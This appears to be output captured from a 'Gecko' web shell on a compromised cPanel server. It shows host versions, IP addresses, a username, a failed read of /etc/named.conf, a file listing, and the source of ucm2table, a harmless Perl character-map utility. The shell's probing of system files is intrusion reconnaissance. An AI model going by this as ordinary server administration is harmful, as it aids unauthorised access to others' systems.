Gecko [ www.blackthorn-inc.com ]

Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains : Cant Read [ /etc/named.conf ]
User : michaelgreg

Name	Size	Permission	Date
enc2xs	38.4 KB	-r--r--r--	2014-12-27 11:49
piconv	7.98 KB	-r--r--r--	2014-12-27 11:49
ucm2table	1017 B	-r--r--r--	2014-12-27 11:48
ucmlint	5.61 KB	-r--r--r--	2014-12-27 11:48
ucmsort	695 B	-r--r--r--	2014-12-27 11:48
unidump	7.31 KB	-r--r--r--	2014-12-27 11:48

Rename

#!/usr/bin/perl
# $Id: ucm2table,v 2.1 2006/05/03 18:24:10 dankogai Exp $
#

use 5.006;
use strict;
use Getopt::Std;
my %Opt;
getopts("aeu", \%Opt);
my %Chartab;

my $Hex = '[0-9A-Fa-f]';
while(<>){
    chomp;
    my ($uni, $enc, $fb) = 
        /^<U($Hex+)>\s+(\S+)\s+\|(\d)/o or next;
    $fb eq '0' or next;
    my @byte = ();
    my $ord = 0;
    while($enc =~ /\G\\x($Hex+)/iog){
        my $byte = hex($1);
        push @byte, $byte;
        $ord <<= 8; $ord += $byte;
    };
    # print join('', @byte), " => $ord \n";
    if ($Opt{u}){
        $Chartab{$ord} = pack("U", hex($uni));
    }else{
        $Chartab{$ord} = pack("C*", @byte);
    }
}

my $start = $Opt{a} ? 0x20 : 0xa0;

for (my $x = $start; $x <= 0xffff; $x += 32) {
    my $line =  '';
    for my $i (0..31){
    my $num = $x+$i; $num eq 0x7f and next; # skip delete
    my $char = $Chartab{$num};
    $line .= !$char ? " " : 
        ($num < 0x7f ) ? " $char" : $char ;
    }
    $line =~ /^\s+$/o and next;
    printf "0x%04x: $line\n", $x;
}